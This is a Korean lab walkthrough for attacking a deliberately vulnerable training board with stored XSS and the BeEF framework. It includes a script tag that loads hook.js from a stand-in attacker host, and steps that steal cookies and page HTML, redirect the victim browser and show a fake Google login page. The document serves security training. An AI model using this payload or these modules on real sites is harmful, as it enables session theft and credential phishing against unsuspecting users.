openeg Stored XSS
Stored XSS 취약점이 있는 게시판을 beef-xss 프레임워크를 이용하여 공격
(1) Kali Linux에서 http://victim:8080/openeg사이트로 이동하여 로그인 합니다.(test / test)
(2) 메뉴에서 게시판을 클릭하여 게시글 하나를 작성합니다.
=> 공격자가 게시판에 스크립트 코드를 사용할 수 있음을 확인
=> 공격자가 원하는 공격을 넣고, 불특정 다수가 들어와서 이 게시글을 보게 되면 스크립트 코드가 동작하면서 공격이 실행됨
(3) Kali linux에서 beef-xss를 설치합니다.
$ sudo apt update
$ sudo apt install -y beef-xss
(4) beef-xss를 실행합니다.
$ sudo beef-xss
=> 패스워드 설정 : password
=> beef 콘솔이 자동으로 실행되지 않는다면 http://127.0.0.1:3000/ui/panel로 직접 접속합니다.
(5) beef 계정으로 로그인합니다. (beef / password)
(6) Kali(공격자)에서 XSS 취약점이 있는 게시판에 hook.js가 실행되도록 스크립트를 추가하여 게시글을 작성합니다.
추가할 스크립트 코드 > <script src="http://attacker:3000/hook.js"></script>
(7) 작성한 게시글을 클릭해보면 아무런 실행이 없습니다. hook.js는 beef에서 확인할 수 있습니다.
=> beef에서 hook.js의 로그를 확인할 수 있음
=> 감염되어 있는 브라우저의 정보를 볼 수 있음
(8) Window xp(사용자)에서 Firefox로 http://victim:8080/openeg 접속해서 공격자가 등록한 게시글을 열람합니다.
=> hook.js가 동작하게 되고 beef 콘솔에 연결됩니다.
=> 사용자 화면에서는 아무런 증상을 느낄 수 없는데, beef 콘솔로 가면 Window xp(사용자)가 감염되어있는 것을 확인할 수 있습니다.
(9) Kali에서 beef 콘솔을 확인합니다.
=> Window xp(사용자)에서 확인한 게시글로 인해 hook.js가 작동하였음을 확인할 수 있습니다.
=> 사용자 브라우저의 정보를 확인할 수 있습니다.
(10) beef를 이용하여 Window xp(사용자)에게 공격을 시도합니다.
beef-Coomands-Module Tree를 보면 이것은 hook.js로 감염된 브라우저에 실행할 수 있는 명령어입니다.
초록색은 공격을 해도 사용자쪽에서 알아챌 수 없는 것이고, 주황색이나 빨간색은 알아차릴 수도 있는 명령어 입니다.
(10)-1 Get Cookie를 클릭하고 Execute를 클릭합니다.
=> 이렇게 쿠키 값을 가져와도 사용자쪽에서는 알 수 없습니다.
(10)-2 Get Page HREFs를 클릭하고 Execute를 클릭합니다.
=> 사용자쪽의 링크 정보를 가져옵니다.
(10)-3 Get Page HTML를 클릭하고 Execute를 클릭합니다.
=> 사용자가 보고 있는 페이지의 HTML 코드를 가져옵니다.
=> 가짜페이지를 만들기 위해 그 페이지의 소스코드를 얻고싶을 때 사용
(10)-4 Redirect Browser를 선택하고 Redirect URL을 http://beebox/bWAPP으로 설정한 후 Execute를 클릭합니다.
(10)-5 Window xp(사용자) 화면이 자동으로 Bee-Box 사이트로 이동합니다.
=> 다른 사이트로 리다이렉트로 하려고하면 인증서 때문에 안넘어갈 수 있습니다.
=> 공격자가 만들어놓은 다른 사이트로 이동시키고자할 때 사용될 수 있습니다.
이외에도 여러가지 기능들이 있는데 그 중 Google Pshing을 사용하면 가짜 구글 계정 로그인 페이지를 띄워주고, 로그인을 시도하면 그 값은 공격자에게로 넘어갑니다. 그리고 사용자 화면에는 진짜 구글 계정 로그인 페이지를 띄워줍니다.